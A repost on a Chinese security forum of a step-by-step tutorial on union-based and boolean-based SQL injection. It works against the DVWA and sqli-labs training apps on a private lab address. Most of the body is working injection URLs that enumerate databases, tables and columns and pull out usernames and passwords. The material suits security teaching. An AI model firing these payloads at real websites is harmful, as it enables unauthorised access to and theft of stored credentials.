安全矩阵

 找回密码
 立即注册
搜索
查看: 6054|回复: 0

union(联合)注入和布尔注入

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-12 09:28:33 | 显示全部楼层 |阅读模式
原文链接:union(联合)注入和布尔注入

没有很快乐,也没有不快乐,好像不该这样,但也只能这样,成长也许如此,行于奔溃边缘又慢慢自愈吧。。。

----  网易云热评
一、union联合注入
1、select 1,2,3会生成一张临时表,表中的字段为查询的字段,内容也是查询的字段


2、select 1,2,3 union select 3,2,1,同样生成一张临时表,表中的字段为union左边查询的字段,内容为union左右两边查询的字段!


3、如果不想显示左边的查询数据,只要左边的查询结果为假,就不会显示数据,比如:and 1=2或user_id=-1,这样只显示右边的查询数据!
联合查询,需要保证两表的列数相同和列的数据类型相同

4、判断列数:由于输入order by 3报错
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 2 --

http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=1' order by 3 --

5、判断显示位:显示位是1和2,可以用MySQL语句来代替获取信息!
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,2' -- &Submit=Submit#


6、获取数据库名称和版本信息
version():获取数据库版本号
database():获取数据库名称
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select database(),version()' -- &Submit=Submit#


7、获取数据库中表的名字
获取第二个表名
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) -- &Submit=Submit#


8、获取所有的表名
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- &Submit=Submit#

limit 0,1:第一个表名,guestbook
limit 1,1:第二个表名,users
......
limit n,1:第n个表名,......
group_concat():连接所有表名

9、获取user表中的字段名
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'  -- &Submit=Submit#
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select 1,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1) -- &Submit=Submit#


10、获取字段的内容
http://192.168.77.128/dvwa/vulnerabilities/sqli/?id=-1'  union select password,user from users limit 2,1 -- &Submit=Submit#


二、布尔注入
1、判断是否存在注入,输入’,报错说明存在注入
http://192.168.77.128/sqli/Less-8/?id=1

http://192.168.77.128/sqli/Less-8/?id=1' 报错,说明存在注入


2、判断字符注入还是数字注入
http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23
http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23
都没有报错,说明是字符型

3、判断是否是存在布尔注入
http://192.168.77.128/sqli/Less-8/?id=1 and 1=1%23
http://192.168.77.128/sqli/Less-8/?id=1 and 1=2%23
报错,说明存在布尔注入

4、id=1能正常显示信息,加入and语句后,只有同时满足条件才能正常显示,根据这个逻辑去确定最终的数据库长度

5、判断数据库名的长度
length():计算字符串长度
http://192.168.77.128/sqli/Less-8/?id=1' and length(database())=8%23 返回正常,说明该数据库名的长度为8

6、获取数据库名的每个字母
substr(database(),1,1):字符串的第1个字符,第一个1,起始位置,不是0开始,而是1开始;最后一个1,取字符的个数,1代表取1个字符
substr(database(),2,1):字符串的第2个字符
ascii():字符转换为对应的ASCII码值
ord() == ascii()
left:从左边开始取字符
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 %23 115代表字符s
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 %23 101代表字符e
http://192.168.77.128/sqli/Less-8/?id=1' and left(database(),2)='se' %23
最后确定数据的名字为security

7、获取表的名字
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23
获取第一个表的第一个字符e
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 %23
获取第一个表的第二个字符m
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 %23
获取第二个表的第一个字符r
http://192.168.77.128/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 %23
获取第二个表的第二个字符e

8、获取user表的字段
http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^use' limit 0,1) %23 是否存在use开头的列
http://192.168.77.128/sqli/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23 是否存在username开头的列
同样可以判断出password的列名

9、获取字段的内容
cast(username as char)将username转换成char类型,注意这里是cast函数(语法:cast(字段名 as 转换的类型 ))
ifnull(expr1,expr2)函数的语法为如果 expr1 不是null,ifnull() 返回 expr1,否则它返回 expr2。
0x20是空格的ascii码的十六进制表示。
mid()函数截取字符串一部分,mid(str,start,length)从位置start开始,截取str字符串的length位。
ord()函数同ascii(),将字符转为ascii值。
http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 %23  
获取username字段的第一个数据的第一个字符
http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),2,1))=117 %23
获取username字段的第一个数据的第一个字符
http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),1,1))=65 %23
获取username字段的第二个数据的第一个字符
http://192.168.77.128/sqli/Less-8/?id=1' and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 1,1),2,1))=110 %23  
获取username字段的第二个数据的第二个字符
Angelina

禁止非法,后果自负
欢迎关注公众号:web安全工具库


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:50 , Processed in 0.012387 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表